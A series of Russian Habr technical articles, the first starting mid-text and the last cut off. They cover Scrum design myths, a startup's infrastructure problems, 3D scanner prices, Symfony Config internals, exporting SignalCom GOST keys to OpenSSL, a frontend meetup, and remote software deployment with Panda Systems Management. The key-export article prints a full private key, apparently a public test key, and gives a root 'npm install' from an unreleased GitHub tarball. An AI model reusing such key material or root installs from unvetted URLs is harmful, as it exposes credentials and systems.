заказчика/стейкхолдера может быть свое видение продукта, у владельца продукта другое, у вас третье. В идеале нужно встречаться лично каждый день и обсуждать результаты проектирования и вопросы на проработку. Если вы показываете на этих обсуждениях прототипы, то для вас почти наверняка не будет сюрпризов на демо. Миф 5. С миру по нитке и в продакшен Давайте будем честны: практически все, что мы делаем уже кто-то придумал до нас, скорее всего, реализовал и возможно даже сделал это неплохо. Российский ИТ-рынок изначально развивается за счет копирования западных продуктов и идей. Получается, что в проектировании нет ничего уникального, можно взять подборку решений конкурентов, выделить лучшее и сделать? И да и нет. Анализ готовых решений — это почти обязательная часть для проектирования, но чтобы продукт был максимально ценным нужно понять, что мы делаем, для кого и как. Проектирование должно быть осмысленным и контролируемым. В этом плане есть масса готовых приемов: проектируйте от персонажей/ролей. Персонажи/роли – это ваши будущие пользователи и ваша задача уменьшить их головную боль и сделать их жизнь хоть чуть-чуть попроще. используйте пользовательские истории. Ценность продукту придает не набор фич, а его способность закрывать реальные ситуации. Рекомендую прочитать User Stories Applied For Agile Software Development. M. Cohn. проектируйте архитектуру исходя из кейсов пользователей. В конечном итоге продуктом пользуются живые люди и его развитие скорее всего будет идти от их кейсов. Правильно выстроенная предметная модель позволит со временем дополнять ее, а не переписывать с нуля. А разработчик оперирующий понятиями реальной предметной области имеет фору перед тем, кто оперирует исключительно билдерами, визитерами и хелперами. Поясню: паттерны полезны для проектирования абстракций, но они не могут скрыть отсутствие продуманной объектной модели. Рекомендую прочитать Предметно-ориентированное проектирование (DDD) Эрика Эванса. В итоге: не нужно лениться и ограничиваться готовыми решениями при проектировании. Потратьте время на изучение ваших пользователей и их потребностей и ваш продукт будет выгодно выделяться на фоне конкурентов. Кратко о том, как работаем мы Это не best practices, но конкретно у нас это дало положительный эффект: релизный цикл у нас состоит из 6 спринтов разработки и для того, чтобы грамотно спланировать релиз мы проводим по сути короткий «нулевой» спринт: предварительное исследование и проектирование. В результате все четко знают, чем мы будем заниматься по ходу спринтов и если мы отстаем от плана всегда понимаем, что будет минимально-ценным продуктом (MVP), а что можно выкинуть. длительность итерации – 12 рабочих дней. Идеально, если вы исследуете, проектируете и делаете все в один спринт, тогда у вас будет быстрый фидбек (тестирование, приемочное тестирование, коридорное тестирование, демо) и в следующем спринте вам нужно заложить небольшой резерв на доработки. При этом мы пробовали и более длинные итерации, когда все это входило в один спринт, но по факту чем чаще вы делаете «check» из PDCA , тем меньше вероятность для вас сделать не то. мы используем парное проектирование. Это значит, что как минимум два человека из команды участвуют в исследовании, генерации вариантов, прототипировании. Это быстрее и проще, чем проектировать в одиночку. Также к ним обычно подключается бизнес-аналитик и зачастую остальная команда в части прототипирования. Вместо заключения Проектирование в Scrum это не серебряная пуля, а всего лишь способ организации командной работы в незнакомой области. Оно не дает вам гарантию от факапов, а выстраивание работающего процесса будет стоить вам времени и нервов. Стоит ли им вообще заниматься? Каждый ответит на этот вопрос сам, я лишь хочу предостеречь вас от ошибок, которые совершал сам. Этот список ограничен моей практикой, если вы сталкивались с другими мифами – буду рад, если вы дополните его в комментариях.
https://habrahabr.ru/post/317376/
habrahabr
Страх и ненависть в отдельно взятом стартапе. Часть 2 — Ненависть
['devops', 'architecture design', 'ruby on rails']
Как сисадмин, я советую взять самый дорогой выделеный сервер без поддержки, RAID, большой storage для особых файлов, template для сайта поярче, и закупить AdWords по крайней мере на два дня.В...
Как сисадмин, я советую взять самый дорогой выделеный сервер без поддержки, RAID, большой storage для особых файлов, template для сайта поярче, и закупить AdWords по крайней мере на два дня. В предыдущей части я описал общую архитектуру приложения, и некоторые особенности инфраструктуры. Сегодня я бы хотел остановиться на некоторых пунктах подробнее, и рассказать, какие проблемы были созданы буквально на ровном месте. Параллельно расскажу, почему были приняты некоторые, прямо скажем, сомнительные решения (из разговоров с предшественником). Отсутствие мониторинга Платформа не мониторилась от слова совсем. При этом пользователи постоянно жаловались на тормоза некоторых частей сайта. Предшественник решал проблему горизонтальным масштабированием — раз в 2–3 месяца просто докупался ещё один сервер и добавлялся в конфиг Nginx на балансировщике. Забегая вперёд, скажу что после того, как я начал снимать статистику использования мощностей — оказалось что 90% инфраструктуры тупо простаивает. Деньги на аренду серверов тратились впустую. Причина такого подхода — “Ну, если чото работать не будет — клиенты скажут, зачем ещё один демон крутит”. Gentoo в продакшене За годы работы в индустрии для меня лично все дистрибутивы слились в один. Если раньше при планировании инфраструктуры я завязывался на какой-то один дистрибутив просто потому что у меня с ним больше опыта (или потому что захотелось попробовать новенькое), то теперь я чаще руководствуюсь соображениями стоимости поддержки того или иного решения в конкретной ситуации. В проекте, который я описываю сейчас мой предшественник где-то прочитал, что Gentoo отлично масштабируется на десятки серверов, и один раз собрав пакет-его можно просто rsync’ом разливать на остальные машины. Теория красивая (и я даже видел такое работающее решение-для админских рабочих станций), на практике же- синхронизировать дерево портежей хотя бы раз в неделю никто не догадался, что с течением времени сделало практически нереальным установку пакетов. Про обновления безопасности речи вообще не было. За пару недель я привёл всё в божеский вид, и задумался о переезде на бинарный дистрибутив. Тратить каждый месяц по несколько дней на обновления и пересборку обратных зависимостей я не хотел (привет, брокер ZeroMQ реализованый на Ruby через libffi). Причина использования Gentoo- “Ну смотри как быстро можно при помощи моих скриптов раскатать новый сервер и добавить его в инфраструктуру”. Брокер Раз уж заговорил про брокер — расскажу, какие с ним были проблемы. Мониторинг состояния. Его не было (точнее, в коде брокера были заглушки для функций ping_service() , get_service_state() , get_stats() и подобным). Единственная реализованая функция —  ping_broker()  — работала только из одного сервиса, и её можно было вызвать из Rails консоли: ServiceName.ping_broker() . Всё. Сервисы не знали, когда брокер лежит. Сервисы не умели перерегистрироваться в случае перезапуска брокера. Брокер был stateless, соответственно “забывал” про все сервисы после рестарта, нужно было руками ходить по серверам, подключаться к screen’ам и рестартовать все сервисы и их обработчики событий. Ну и как вишенка на торте — брокер отвечал за назначение портов для сервиса. То есть, в настройках брокера задавался пул min_port:max_port, сервис при запуске спрашивал у брокера, на какой порт ему биндиться, и пытался начать слушать на этом порту. Если брокер работает на одном сервере, а сервис запускается на другом — порт, который выдал брокер уже может быть занять и сервис попросту не стартанёт с ошибкой “Address already in use”. Мониторить сервисы с такой схемой работы не представлялось возможным. Цель использования этого брокера — распределить нагрузку на сервер и иметь возможность крутить каждый сервис на своём сервере — достигнута так и не была. Synctool Кому интересно — ссылка на проект: http://walterdejong.github.io/synctool/ . В принципе — оно имело право на жизнь. Но во-первых — гора bash-скриптов + rsync — это не управление конфигурациями, во-вторых я тогда как раз познакомился с Ansible, который оказался сильно гибче. Тут особо даже сказать нечего, просто за пару дней перенёс всю логику из synctool в Ansible и забыл как страшный сон. Причины использования synctool — “Ну я посмотрел на Puppet, мне показалось сложно, а в synctool можно всё скриптами решить”. Про Absible/Chef человек просто не знал. Falcon В первой части я упомянул falcon, но забыл дать ссылку на него, исправляюсь: http://www.falconpl.org/ . Помесь процедурного и функционального скриптового ЯП с поддержкой многопоточности и собственной виртуальной машиной. В принципе — мощная и интересная штука с низким порогом входа, но зачем было это использовать только для того, чтоб выполнять ssh dba@db01 “echo ‘SELECT stuff FROM table’ | psql -U postgres app_db”  — осталось за гранью моего понимания. Вопрос “Нахера это тут?” в отношении falcon так и не был мной задан. Разделение production/development окружений в коде Последний пункт на сегодня. В Rails есть чудный механизм, который покрывает 99% случаев, когда нужно по-разному настроить приложение для продакшена и для разработки. Этот механизм использован не был, и в коде гвоздями были прибиты имена хостов для сервисов, адрес Redis, адрес и порт базы данных, и доменное имя приложения. Как-то мне пришлось мигрировать Redis и базу данных на другие сервера — платформа лежала больше суток, пока я выгрепывал все такие места. Причины — модель разработки, и не очень высокая квалификация программиста. Проект писался практически “на коленке” сначала, новые фичи добавлялись и добавлялись, рефакторинг никто не делал, и в какой-то момент это превратилось в то, что на картинке: В последней части я расскажу о том, как платформа выглядит сейчас, какие технологии используются и почему, как использование подходящих под задачу инструментов помогает экономить деньги, и почему сисадмин не должен кодить, а программист — админить.
https://habrahabr.ru/post/317408/
habrahabr
3D-сканеры до 500 000 рублей
['scanner', 'сканирование', '3d-моделирование', '3d-печать', '3d-принтеры']
Сфера применения 3D-печати постоянно увеличивается, количество предлагаемых производителями 3D-принтеров и ПО для них растет, скоро они будут везде. Не для любой цели подходит использование...
Сфера применения 3D-печати постоянно увеличивается, количество предлагаемых производителями 3D-принтеров и ПО для них растет, скоро они будут везде. Не для любой цели подходит использование созданных с нуля объектов отрисованных специалистом в программе, кое-где нужны точные копии реально существующих вещей — именно тут на помощь и приходят 3D-сканеры. В этом обзоре мы рассмотрим 3D-сканеры начального ценового уровня, от пары десятков тысяч рублей до полумиллиона. » XYZprinting — Handheld Зона сканирования см: 200 x 200 x 200 Точность, мкм: 1000 Работа с цветом: да Цена: 18 990 руб. Компактный ручной сканер эргономичного дизайна. Предназначен для сканирования объектов размерами от 10 см до двух метров по большей оси. Совместим 3D-принтерами того же производителя и работает с их программным обеспечением. » BQ — Ciclop Зона сканирования см: 20,5 х 20,5 Точность, мкм: 500 Работа с цветом: да Цена: 23 990 руб. Сканер работающий по принципу триангуляции с помощью встроенного лазера. Обладает поворотным столиком и способен производить быструю автокалибровку, что значительно упрощает работу с ним. Производитель предоставляет необходимое ПО для использования и исходники для 3D-печати комплектующих на случай ремонта. » 3D Systems — Sense Next Gen Зона сканирования см: 200 x 200 x 200 Точность, мкм: 900 Работа с цветом: да Цена: 37 900 руб. Удобный и максимально простой в обращении 3D-сканер в минималистичном корпусе. Сканирует объекты с размерами от 20 сантиметров. Обладает одним из лучших соотношений цена/качество. » Shining 3D — EinScan-S Зона сканирования см: 20 х 20 х 20 Точность, мкм: 100 Работа с цветом: да Цена: 79 925 руб. Двухрежимный сканер позволяющий создавать 3D-модели объектов отличного качества. Сканирует в двух режимах — автоматическом и свободном. Размеры сканируемых предметов могут достигать 20 сантиметров в автоматическом режиме и до 70 в ручном. Полное 3D-сканирование в автоматическом режиме, с использованием комплектного поворотного столика, занимает всего три минуты. В ручном, в зависимости от навыка оператора, на объект до 70 сантиметров уходит, в общей сложности, около 10 минут. Качество получаемых 3D-моделей таково, что позволяет выводить их на печать без дальнейшего редактирования. » MakerBot — Digitizer Зона сканирования см: 20,3 x 20,3 x 20,3 Точность, мкм: 200 Работа с цветом: нет Цена: 81 900 руб. Модель от известного производителя 3D-принтеров MakerBot. Представляет из себя моноблок с встроенным поворотным столиком, оснащенный камерой и двумя лазерами. RangeVision — Smart Зона сканирования см: 50 х 37,5 х 37,5 Точность, мкм: 200 Работа с цветом: да Цена: 174 000 руб. Один из самых компактных 3D-сканеров, позволяющий сканировать объекты размерами от нескольких сантиметров до метра по большей оси, распознавая не только форму, но и текстуру поверхности. Volume Technologies — VT ATOM Зона сканирования см: 53 x 40 x 40 Работа с цветом: нет Цена: 230 000 руб. Высокоточный 3D-сканер для создания трехмерных моделей небольших объектов с высоким разрешением. Может комплектоваться системой подсветки Blue Light, что позволяет добиться максимально детализированного скана при любом освещении. » RangeVision — Spectrum Зона сканирования, см: до 520х390х390 Размер объекта сканирования, см: до 300 Разрешение, мм: до 0.072 в режиме макро, 16-236 точек на мм поверхности. Цена: 295 000 руб. Полноценный промышленный 3D-сканер с высоким разрешением, тремя режимами съемки и ПО профессионального уровня. Позволяет сканировать объекты с размерами от сантиметра до трех метров. Оснащен поворотным столом и кейсом для переноски. Съемка предмета на поворотном столе занимает всего 12 секунд. Shining 3D — EinScan-Pro Зона сканирования см: 200 x 200 x 200 Точность, мкм: 50 Работа с цветом: да Цена: 321 436 руб. Топовая модель 3D-сканера от Shining 3D, сканер EinScan-Pro позволяет одинаково качественно и точно сканировать объекты любого размера, от ювелирных изделий до человека в полный рост, чему способствует и наличие четырех разных режимов работы: handheld rapid scan, handheld hd scan, automatic scan, free scan. » Volume Technologies — VT Mini Зона сканирования см: 5 — 50 Точность, мкм: 50 Работа с цветом: нет Цена: 340 000 руб. 3D-сканер VT Mini от Volume Technologies сканирует объекты размером от 5 до 50 сантиметров по большей стороне, с точностью в 0,5 мм. Сочетание двух камер и светодиодного проектора, вместе с устойчивой конструкцией, делает его одним из лучших сканеров этого производителя. » Volume Technologies — VT Diamond Зона сканирования см: 13,3 x 10 x 10 Работа с цветом: нет. Цена: 480 000 руб. Высокоточный 3D-сканер для работы с ювелирными изделиями, стоматологическими моделями и другими объектами схожих размеров. Конструкция предусматривает установку двухосевого поворотного столика, что позволяет в автоматическом режиме сканировать объект со всех сторон. ___ Это лишь малая часть доступных на сей момент 3D-сканеров, верхушка айсберга. В следующем обзоре мы рассмотрим модели подороже, от 500 000 до 1000 000 рублей. Хотите больше интересных новостей из мира 3D-технологий? Подписывайтесь на нас в соц. сетях:
https://geektimes.ru/company/top3dshop/blog/283594/
habrahabr
Коротко об архитектуре компонента Symfony Config
['php', 'symfony', 'symfony2', 'symfony config']
Компонент Symfony 2 Config предназначен для работы с конфигурационными файлами и предоставляет следующие возможности: Поддержка древовидной структуры конфигурации Абстракция составных...
Компонент Symfony 2 Config предназначен для работы с конфигурационными файлами и предоставляет следующие возможности: Поддержка древовидной структуры конфигурации Абстракция составных частей конфигурации, из которых производится ее загрузка (ресурсы, загрузчики ресурсов и т.д.) Поддержка произвольного количества составных частей конфигурации и некоторых правил по сборке и объединению Кеширование прочитанной конфигурации и автоматическая ее пересборка при изменении одного из исходных файлов Валидация конфигурации по различным правилам и подробная информация об ошибках парсинга Официальная документация по этому компоненту содержит подробную информацию по его использованию. А мы давайте посмотрим на то, как устроен этот компонент внутри. Определение структуры конфигурации Типы ключей конфигурации Вот так выглядит диаграмма классов, которые описывают структуру конфигурации. Назначение практически всех классов понятно из их названия. Отмечу только, что для построения дерева конфигурации используется нода ArrayNode . Если требуется, чтобы внутри ArrayNode размещались не просто предпоределенные ноды, а несколько других ArrayNode , но с четко одинаковой предопределенной внутренней структурой, можно использовать PrototypedArrayNode . Для построения описания конфигурации используется класс Symfony\Component\Config\Definition\Builder\TreeBuilder примерно вот таким способом: <?php use Symfony\Component\Config\Definition\Builder\TreeBuilder; use Symfony\Component\Config\Definition\ConfigurationInterface; class Configuration implements ConfigurationInterface { public function getConfigTreeBuilder() { $treeBuilder = new TreeBuilder(); $rootNode = $treeBuilder->root('acme_demo'); $rootNode ->children() ->arrayNode('entities') ->addDefaultsIfNotSet() ->prototype('scalar')->end() ->defaultValue( array( 'Acme\BaseBundle\Entity\DefaultEntity1', 'Acme\BaseBundle\Entity\DefaultEntity2', ) ) ->end(); return $rootNode; } } Структуру конфигурации не обязательно объявлять всю целиком в одном месте. Можно сделать это частями, а затем объединить части при помощи метода append у NodeBuilder . Нормализация Нормализацией называется приведение имен ключей нод и их значений, если потребуется, к каноническому виду. Фактически, сейчас нормализация используется только для того, чтобы привести ноды, описанные в xml в виде <children> <child>Значение потомка</child> </children> к виду "children" => Array( [0] => "Значение потомка" ) Для нормализации нод вызывается метод normalize() из Symfony\Component\Config\Definition\NodeInterface . А кроме того, у Symfony\Component\Config\Definition\BaseNode есть еще метод preNormalize . Последний используется для приведения к общему виду ключей типа foo_bar и foo-bar . Финализация Процесс финализации ноды выполняет действия, по подготовке ноды к чтению внутри конфигурации и проверки на соответствие заявленому типу и его правилам. Финализация выполянется методом finalizeValue потомков BaseNode Валидация данных выполняется как с помощью предопределенных методов NodeDefinition и его потомков вроде isRequired , так и с помощью расширенной валидации, делегированной классу Symfony\Component\Config\Definition\Builder\ValidationBuilder . Правила объединения данных из нескольких частей содержатся в классе Symfony\Component\Config\Definition\Builder\MergeBuilder . Делегирование ему проверок выполняется методом merge() класса NodeDefinition . Например, можно запретить переопределять значение выбранного ключа конфигурации другими конфигурационными файлами после того, как он был прочитан в первый раз. Сам процесс валидации / нормализации / финализации конфигурации выглядит так: $configs = array($config1, $config2); //Загруженные любым способом части конфигурации $processor = new Processor(); // Процессор конфигурации $configuration = new Configuration(); // Класс Configuration c правилами проверки (см. выше). $processedConfiguration = $processor->processConfiguration( $configuration, $configs ); Билдер Как нетрудно заметить, для самого процесса построения описания конфигурации TreeBuilder использует экземпляр класса Symfony\Component\Config\Definition\Builder\NodeBuilder . Поэтому вы вполне можете определять свои типы нод для конфигурации. Для этого необходимо создать свой вариант реализации NodeInterface и своего потомка \Symfony\Component\Config\Definition\Builder\NodeDefinition . После чего просто вызвать метод setNodeClass у NodeBuilder . Во всех подробностях процесс определения структуры конфигурации описан тут . Дампер После того, как структура конфигурации построена, ее можно сдампить с помощью различных дамперов из пространства имен Symfony\Component\Config\Definition\Dumper . Сейчас там есть два варианта: YamlReferenceDumper и XmlReferenceDumper . Эти дамперы используются, например, когда вы вызываете с консоли ./bin/symfony config:dump-reference (см. Symfony\Bundle\FrameworkBundle\Command\ConfigDumpReferenceCommand ) Загрузка конфигурации Ресурсы и загрузчики Части конфигурации в Symfony описываются ресурсами ( Symfony\Component\Config\Resource\ResourceInterface ). Понятие ресурса достаточно абстрактно. Им может быть как файл, так и любой другой источник данных. Например, таблица БД или поле в ней. Мониторинг ресурсов на наличие изменений в них ведут инспекторы ресурсов ( Symfony\Component\Config\ResourceCheckerInterface ). Загрузку конфигурации из ресурсов выполняют загрузчики ( Symfony\Component\Config\Loader\LoaderInterface ). Поиск подходящего загрузчика для ресурса выполняют ресолверы ( Symfony\Component\Config\Loader\LoaderResolverInterface ). Symfony\Component\Config\Loader\DelegatingLoader позволяет загрузить ресурс, автоматически найдя необходимый загрузчик, перебирая массив переданных ресолверов. Размещать конфигурационные файлы можно в различных папках. Поиск файлов в них можно вести с помощью Symfony\Component\Config\FileLocator Нужно сказать, что сам компонент Config не содержит конкретных реализаций загрузчиков. Он лишь предоставляет необходимые интерфейсы для их реализации. Причем способ загрузки и целевой контейнер для загруженных данных тоже не регламентирован. Если посмотреть на реализацию Symfony\Component\DependencyInjection\Loader\YamlFileLoader , то видно, что конфигурация загружается прямо в контейнер. Кеширование конфигурации Symfony Config позволяет кешировать загруженную конфигурацию с помощью класса Symfony\Component\Config\ConfigCache : <?php use Symfony\Component\Config\ConfigCache; use Symfony\Component\Config\Resource\FileResource; $cachePath = __DIR__.'/cache/appSomeCacheFile.php'; // Режим отладки определяет, будут ли проверяться на изменения ресурсы, из которых строился кеш $cacheFile = new ConfigCache($cachePath, true); if (!$cacheFile->isFresh()) { $configFiles = []; // Здесь имена файлов, из которых состоит конфигурация $resources = array(); foreach ($configFiles as $cfgFile) { // Здесь загружаем конфигурацию // ..... // И добавляем ресурс в массив $resources[] = new FileResource($cfgFile); } $code = '...'; //Здесь строим кэш из загруженных данных //Пишем кеш. Рядом с файлом кеша запишется файл с метаданными со списком исходных ресурсов $cacheFile->write($code, $resources); } // Подключаем файл кеша require $cachePath; Можно инкапсулировать алгоритм перестройки кеша, например, в класс, а затем воспользоваться Symfony\Component\Config\ConfigCacheFactory вместо ConfigCache для дальнейшей работы. ConfigCacheFactory принимает в конструкторе callable , который будет перестраивать кеш. Пример использования компонента Компонент Symfony Config вполне можно использовать и без фреймворка. В качестве примера приведу небольшой кусочек кода, написанный уважаемым magickatt : <?php // Загружаем специфичную для приложения конфигурацию try { $basepath = __DIR__ . '/config'; $configuration = Yaml::parse($basepath . '/config.yml'); } catch (\InvalidArgumentException $exception) { exit("Кажется, конфигурационный файл отсутствует"); } // Используем ConfigurationInterface для работы с *.yml форматом $yamlConfiguration = new \Configuration(); // Обрабатываем конфигурационные файлы (объединяем один или больше файлов *.yml) $processor = new Processor(); $configuration = $processor->processConfiguration( $yamlConfiguration, array($configuration) // Здесь может быть любое количество *.yml файлов ); use Symfony\Component\Config\Definition\ConfigurationInterface; use Symfony\Component\Config\Definition\Builder\TreeBuilder; class Configuration { /** * @return TreeBuilder */ public function getConfigTreeBuilder() { $treeBuilder = new TreeBuilder(); $rootNode = $treeBuilder->root('arbitary'); $rootNode->children() ->scalarNode('host') ->isRequired() ->cannotBeEmpty() ->end() ->scalarNode('username') ->isRequired() ->cannotBeEmpty() ->end() ->scalarNode('password') ->isRequired() ->cannotBeEmpty() ->end() ->booleanNode('bindRequiresDn') ->defaultTrue() ->end(); return $treeBuilder; } }
https://habrahabr.ru/post/271417/
habrahabr
Экспорт ключа SignalCom в OpenSSL
['node.js', 'криптография', 'информационная безопасность', 'экспорт информации', 'сигналком', 'openssl', 'contact-ng', 'rapida']
У вас стоит задача интегрироваться с удалённым сервисом, который работает по ГОСТу и "только через КРИПТО-КОМ", а вы хотите использовать OpenSSL с gost? На форуме "Сигнал-КОМ"...
У вас стоит задача интегрироваться с удалённым сервисом, который работает по ГОСТу и "только через КРИПТО-КОМ", а вы хотите использовать OpenSSL с gost? На форуме "Сигнал-КОМ" вы видите кучи сообщений, что "ключи из формата КРИПТО-КОМ нельзя конвертировать в формат OpenSSL-гост-совместимых"? На самом деле конвертация возможна. tl;dr: http://gostcrypto.com/demo-sc-keys.html Как сконвертировать уже имеющиеся ключи из проприетарного в ортодоксальный формат? Я не параноик Идёте на http://gostcrypto.com/demo-sc-keys.html и указав файлы контейнера типа "mk.db3", "masks.db3", "kek.opq", "rand.opq" и файл приватного ключа по типу "Keys\00000001.key", нажмите кнопку "Export PrivateKey". В текущей версии gostcrypto.com ключ будет не совсем PEM-совместимым, т.к. используется длина более 64 символов: -----BEGIN PRIVATE KEY----- MEYCAQAwHQYGKoUDAgITMBMGByqFAwICIwEGCCqFAwcBAQICBCIEIG0GEmE3dhrHzm1KfFDpKBWEmMydwcmP0hNKvXXbEbLO -----END PRIVATE KEY----- Чтобы сделать его PEM-совместимым просто добавьте новую строку после 64 символа: -----BEGIN PRIVATE KEY----- MEYCAQAwHQYGKoUDAgITMBMGByqFAwICIwEGCCqFAwcBAQICBCIEIG0GEmE3dhrH zm1KfFDpKBWEmMydwcmP0hNKvXXbEbLO -----END PRIVATE KEY----- Я параноик или хочу cli-версию На момент публикации этой статьи gostcrypto не node-фицирована и есть попытка её node-фикации в пул-реквесте. Там же cli-утилита для экспорта в PEM-compatible формат. Ставим её и пробуем экспортировать ключ: sudo npm install -g https://github.com/garex/nodejs-gost-crypto/archive/nodefy.tar.gz cd /tmp wget https://www.contact-sys.com/files/redactor/files/TestContactKey.zip unzip TestContactKey.zip -d TestContactKey gost-export-signalcom-key --pse TestContactKey --key Keys/00000001.key В результате мы получаем в STDOUT: -----BEGIN PRIVATE KEY----- MEYCAQAwHQYGKoUDAgITMBMGByqFAwICIwEGCCqFAwcBAQICBCIEIG0GEmE3dhrH zm1KfFDpKBWEmMydwcmP0hNKvXXbEbLO -----END PRIVATE KEY----- И в STDERR: OK: Private SignalCom key successfully exported in STDOUT in "PEM" format.
https://habrahabr.ru/post/317406/
habrahabr
Митап RDSFront& #1
['js', 'react', 'node', 'webpack']
14 декабря на Мансарде Rambler&Co состоится очередной RDSFront& meetup, на котором наши сотрудники поделятся прикладными знаниями в области frontend разработки. Доклады под катом. #1...
14 декабря на Мансарде Rambler&Co состоится очередной RDSFront& meetup, на котором наши сотрудники поделятся прикладными знаниями в области frontend разработки. Доклады под катом. #1 Оптимизация загрузки web. Докладчик: Женя Балашов. «Я поделюсь с вами своим мнением о том, как важно уделить внимание процессу загрузки web-проектов, выведу общие проблемы и поделюсь опытом их решения.» #2 RSHIP. Инструмент для проектирования и разработки изоморфных приложений. Докладчик: Миша Чернобров. «При разработке изоморфного приложения я устал от итерационного процесса остановки/запуска http-сервера на node.js, утонул в пучине конфигураций webpack, что подтолкнуло к написанию инструмента, автоматизирующего этот процесс. Так появился rship. Какие задачи он решает и для чего нужен — об этом мой доклад.» План мероприятия: 18:30 — сбор гостей 19:00 — начало мероприятия Не забудьте зарегистрироваться тут и потом взять с собой паспорт.
https://habrahabr.ru/company/rambler-co/blog/317412/
habrahabr
Как централизованно и удаленно устанавливать ПО на ПК и мобильные устройства в компании
['Системное администрирование', 'серверное администрирование', 'IT-инфраструктура', 'сетевые технологии', 'RMM', 'Panda Systems Management', 'Panda Security', 'облачный сервис', 'контроль', 'производительность', 'программное обеспечение', 'мобильные устройства']
Эффективность работы компании, а также и ее безопасность, напрямую зависят от программного обеспечения, используемого на рабочих станциях, серверах и мобильных устройствах ее сотрудников. С...
Эффективность работы компании, а также и ее безопасность, напрямую зависят от программного обеспечения, используемого на рабочих станциях, серверах и мобильных устройствах ее сотрудников. С другой стороны, «лишнее» ПО может отвлекать сотрудников от выполнения своих обязанностей, а также создавать дополнительные риски безопасности. Как можно централизованно и удаленно устанавливать требуемое ПО с помощью RMM-решений? Рассмотрим на примере Panda Systems Management Зачем нужна централизованная установка ПО Пожалуй, ответ на данный вопрос очевиден: чтобы значительно упростить и ускорить процесс установки требуемого программного обеспечения на корпоративные серверы и рабочие станции, а также мобильные устройства сотрудников компании. Чтобы сотрудники использовали именно то ПО, которое им действительно необходимо для выполнения своих служебных обязанностей. А ведь еще есть вопросы управления обновлениями и патчами ПО, чтобы в первую очередь, закрывать новые уязвимости. Естественно, все эти вопросы вполне актуальны для любого предприятия, потому что в той или иной степени влияют на эффективность его работы, а, следовательно, и его конкурентоспособность. Таким образом, централизованная и удаленная установка ПО способствует более эффективной работе не только непосредственно ИТ-отдела, но и всей компании. RMM-сервис для централизованной установки ПО Для автоматизированного решения многочисленных ИТ-задач существуют специальные комплексные RMM-решения, предназначенные для удаленного и централизованного мониторинга, обслуживания и поддержки корпоративных сетей. К классу RMM-решений относится облачный сервис Panda Systems Management. Ранее мы уже рассказывали в целом о данном облачном сервисе , а также говорили про его использование для мониторинга корпоративных сетей и управления мобильными устройствами , но сегодня мы решили рассказать про централизованную установку ПО. Сервер Panda Systems Management может автоматически и удаленно устанавливать ПО на все управляемые устройства (рабочие станции, серверы и некоторые мобильные устройства). Это позволяет администратору быть уверенным в том, что все управляемые устройства имеют то ПО, которое необходимо сотрудникам для работы, при этом ему не требуется удаленно подключаться к каждому устройству по отдельности, чтобы инсталлировать требуемую программу. Автоматическое развертывание ПО также помогает администратору поддерживать уровень защиты от уязвимостей ПО (Java, Adobe и пр.), что позволяет значительно снизить риск инфекции и потери конфиденциальных корпоративных данных. Итак, сегодня мы расскажем: 1. Требования и процедура развертывания ПО 2. Различные примеры внедрения ПО 3. Оптимизация полосы пропускания канала связи 4. Установка ПО на устройства с iOS Вы можете бесплатно зарегистрировать триал-версию Panda Systems Management на сайте и протестировать сервис в своем IT-окружении. Как быстро внедрить решение в Вашем ИТ-окружении можно узнать в нашей предыдущей обзорной статье . Требования Развертывание и установка ПО – это процесс, который выполняется с помощью компонентов приложений для платформ Windows, Linux и Mac. Также есть возможность установки приложений и на смартфоны и планшеты с iOS, о чем мы расскажем в конце данной статьи. Подобно сценариям и компонентам для мониторинга, компоненты приложений содержат небольшой скрипт, который для решения данной задачи руководит процессом установки, чтобы инсталлировать набор файлов и/или программ. Чтобы установить на устройства пользователей группы файлов или программ, необходимо для каждой такой группы создать отдельный компонент.   Процедура развертывания и установки программных пакетов В целом, обычная процедура состоит из четырех шагов: Шаг 1. Идентификация устройств, на которые необходимо установить ПО Процедура поиска устройств, на которых не установлены требуемые программы или необходимые файлы, будет отличаться в зависимости от того, может ли Panda Systems Management выполнить аудит программ, установленных на устройстве, или нет. Если устанавливаемое ПО появляется в списке установленных программ, который хранится в операционной системе, то это ПО также будет отображаться в отчетах Panda Systems Management по аудиту ПО. Таким образом, можно создать фильтр для фильтрации устройств, на которых уже установлено это ПО. Если ПО не имеет инсталлятора, а потому не показывается в списке установленных программ, или речь идет про одиночный документ, конфигурационные файлы и пр., то Panda Systems Management не сможет отфильтровать устройства, на которых уже имеются данные файлы, а потому установочный скрипт должен будет осуществить соответствующие проверки. Шаг 2. Генерация компонента для установки ПО Для этого в целом необходимо выполнить следующие действия. 1. Запустить задачу по распространению компонента для установки на локальные агенты Panda Systems Management, установленные на требуемых устройствах. Вы можете запустить эту задачу по расписанию, настроив ее на определенную дату и время, когда пользователь не будет работать на своем устройстве, чтобы свести к минимуму влияние на производительность. 2. Собрать данные с результатами установки, чтобы проверить наличие возможных ошибок. После завершения процесса, система будет собирать возможные коды ошибок и/или сообщений, которые будут показывать в консоли управления результат установки. У данной задачи может быть четыре финальных статуса: • Success : Выполнение задачи по установке было завершено без ошибок. Скрипт возвращает код Errorlevel 0. • Success — Warning : Выполнение задачи по установке было завершено с некоторыми незначительными ошибками. Скрипт возвращает код Errorlevel 0 и соответствующее сообщение, которое будет показываться в консоли управления. • Error : Выполнение задачи по установке не было завершено. Скрипт возвращает код Errorlevel 1. • Error-Warning : Выполнение задачи по установке не было завершено. Скрипт возвращает код Errorlevel 1 и соответствующее сообщение, которое будет показываться в консоли управления.   Примеры установки Чтобы продемонстрировать возможности по централизованной установке ПО, ниже мы приведем четыре примера: • Внедрение самоустанавливающегося ПО • Внедрение ПО без инсталлятора • Внедрение документов и файлов с использованием языка скриптов • Внедрение документов и файлов без использования языка скриптов Процедуры, описанные в этой главе, а также используемые сторонние утилиты и языки скриптов являются лишь примерами, и они могут быть различны. Panda Systems Management является достаточно гибким решением, и он может быть адаптирован к тем инструментам, при использовании которых администратор может чувствовать себя наиболее комфортно. Пример 1. Внедрение самоустанавливающегося ПО В данном примере мы попробуем централизованно и удаленно установить пакет dotNetFx40_Full_x86_x64.exe для Microsoft Framework .NET 4.0 на те устройства, на которых он еще не установлен. В силу того, что Microsoft Framework .NET 4.0 – это программа, которая отображается в списке установленных программ, хранящемся в операционной системе устройства, мы будем использовать фильтр для выборки тех устройств, на которых этот пакет еще не установлен. Установочный пакет представляет собой самораспаковывающийся .EXE-файл, который допускает использование параметров /q /norestart для установки в скрытом режиме и предотвращения перезагрузки устройства, а потому никакой дополнительной специальной подготовки нам не понадобится. Шаг 1. Выберите устройства, на которые необходимо установить пакет Чтобы выбрать устройства, на которые требуется установить данный пакет, необходимо воспользоваться фильтром устройств. Для этого в консоли управления Panda Systems Management откройте требуемый 